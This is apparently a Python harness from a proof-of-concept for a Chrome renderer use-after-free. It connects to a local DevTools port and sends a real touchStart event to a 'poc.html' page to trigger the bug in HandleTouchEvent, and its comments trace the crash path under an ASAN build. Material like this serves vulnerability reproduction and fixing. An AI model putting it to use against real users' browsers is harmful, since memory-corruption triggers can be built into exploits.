#!/usr/bin/env python3
"""
Dispatches a real touchStart event via Chrome DevTools Protocol.

This sends a kTouchStart through Chrome's real input pipeline, which
reaches WidgetBaseInputHandler::HandleInputEvent -> HandleTouchEvent.
JS-dispatched TouchEvents do NOT take this path; CDP touch events do.

Usage: python3 dispatch_touch.py [debug_port]
"""
import json
import sys
import time
import urllib.request
import socket
import struct
import os
import base64

DEBUG_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 9222


def ws_handshake(sock, path, host):
    key = base64.b64encode(os.urandom(16)).decode()
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: {key}\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    )
    sock.sendall(req.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += sock.recv(4096)
    if b"101" not in resp.split(b"\r\n")[0]:
        raise RuntimeError(f"WS handshake failed: {resp[:200]!r}")


def ws_send(sock, payload):
    data = payload.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    hdr = bytes([0x81])  # FIN=1, op=text
    n = len(data)
    if n < 126:
        hdr += bytes([0x80 | n])
    elif n < 65536:
        hdr += bytes([0x80 | 126]) + struct.pack(">H", n)
    else:
        hdr += bytes([0x80 | 127]) + struct.pack(">Q", n)
    sock.sendall(hdr + mask + masked)


def ws_recv(sock):
    def rd(n):
        buf = b""
        while len(buf) < n:
            chunk = sock.recv(n - len(buf))
            if not chunk:
                raise RuntimeError("socket closed")
            buf += chunk
        return buf
    h = rd(2)
    op = h[0] & 0x0F
    masked = h[1] & 0x80
    n = h[1] & 0x7F
    if n == 126:
        n = struct.unpack(">H", rd(2))[0]
    elif n == 127:
        n = struct.unpack(">Q", rd(8))[0]
    mask = rd(4) if masked else b""
    data = rd(n)
    if masked:
        data = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    if op == 0x8:  # close frame
        return None
    return data.decode("utf-8", "replace")


def cdp_call(sock, msg_id, method, params=None):
    msg = {"id": msg_id, "method": method}
    if params:
        msg["params"] = params
    ws_send(sock, json.dumps(msg))
    while True:
        raw = ws_recv(sock)
        if raw is None:
            return None
        resp = json.loads(raw)
        if resp.get("id") == msg_id:
            return resp


def main():
    # Find the page target.
    for attempt in range(40):
        try:
            with urllib.request.urlopen(
                f"http://127.0.0.1:{DEBUG_PORT}/json/list", timeout=2
            ) as r:
                targets = json.loads(r.read())
            page = next(
                (t for t in targets if t.get("type") == "page"
                 and "poc.html" in t.get("url", "")),
                None,
            )
            if page:
                break
        except Exception:
            pass
        time.sleep(0.5)
    else:
        sys.exit("[dispatch] page target not found")

    ws_url = page["webSocketDebuggerUrl"]
    print(f"[dispatch] target: {page['url']}")
    print(f"[dispatch] ws: {ws_url}")

    # ws://127.0.0.1:9222/devtools/page/XXXX
    rest = ws_url.split("://", 1)[1]
    hostport, path = rest.split("/", 1)
    path = "/" + path
    host, port = hostport.split(":")

    sock = socket.create_connection((host, int(port)), timeout=10)
    ws_handshake(sock, path, hostport)

    # Wait for the page to be ready.
    print("[dispatch] waiting for POC_READY...")
    for _ in range(40):
        r = cdp_call(sock, 1, "Runtime.evaluate",
                     {"expression": "document.title", "returnByValue": True})
        if r and r.get("result", {}).get("result", {}).get("value") == "POC_READY":
            break
        time.sleep(0.25)

    # Get layout metrics to compute the centre of the viewport.
    metrics = cdp_call(sock, 2, "Page.getLayoutMetrics", {})
    vp = metrics["result"].get("cssLayoutViewport") or metrics["result"]["layoutViewport"]
    cx = vp["clientWidth"] / 2
    cy = vp["clientHeight"] / 2
    print(f"[dispatch] viewport centre: ({cx}, {cy})")

    # Dispatch touchStart. This goes through:
    #   browser RenderWidgetHostImpl::ForwardTouchEvent
    #   -> renderer WidgetInputHandlerImpl::DispatchEvent
    #   -> WidgetBaseInputHandler::HandleInputEvent (line 415)
    #   -> HandleTouchEvent (THE VULNERABLE FUNCTION)
    #   -> loop iteration 0: line 285 widget_->client()->HandleInputEvent
    #   -> WebFrameWidgetImpl::HandleInputEvent (POC injection fires)
    #   -> widget_base_.reset() destroys WidgetBase + input_handler_
    #   -> return to HandleTouchEvent line 288 -> UAF
    print("[dispatch] sending Input.dispatchTouchEvent touchStart...")
    try:
        r = cdp_call(sock, 3, "Input.dispatchTouchEvent", {
            "type": "touchStart",
            "touchPoints": [{
                "x": cx, "y": cy,
                "radiusX": 5, "radiusY": 5,
                "force": 1.0,
                "id": 0,
            }],
        })
    except (TimeoutError, RuntimeError) as e:
        # Expected under the unfixed build: the renderer ASAN-aborts mid
        # dispatch, so the browser never sends the CDP ack.
        print(f"[dispatch] touchStart: no ack ({e}) -- renderer likely crashed")
        r = None
    if r is None:
        print("[dispatch] touchStart ack: <socket closed -- renderer crashed>")
    else:
        print(f"[dispatch] touchStart ack: {r}")

    # Send touchEnd for cleanliness (renderer is likely already dead under
    # the unfixed build, so this is best-effort).
    try:
        sock.settimeout(3)
        cdp_call(sock, 4, "Input.dispatchTouchEvent", {
            "type": "touchEnd",
            "touchPoints": [],
        })
    except Exception:
        pass

    sock.close()
    print("[dispatch] done -- check Chrome stderr for ASAN report")


if __name__ == "__main__":
    main()
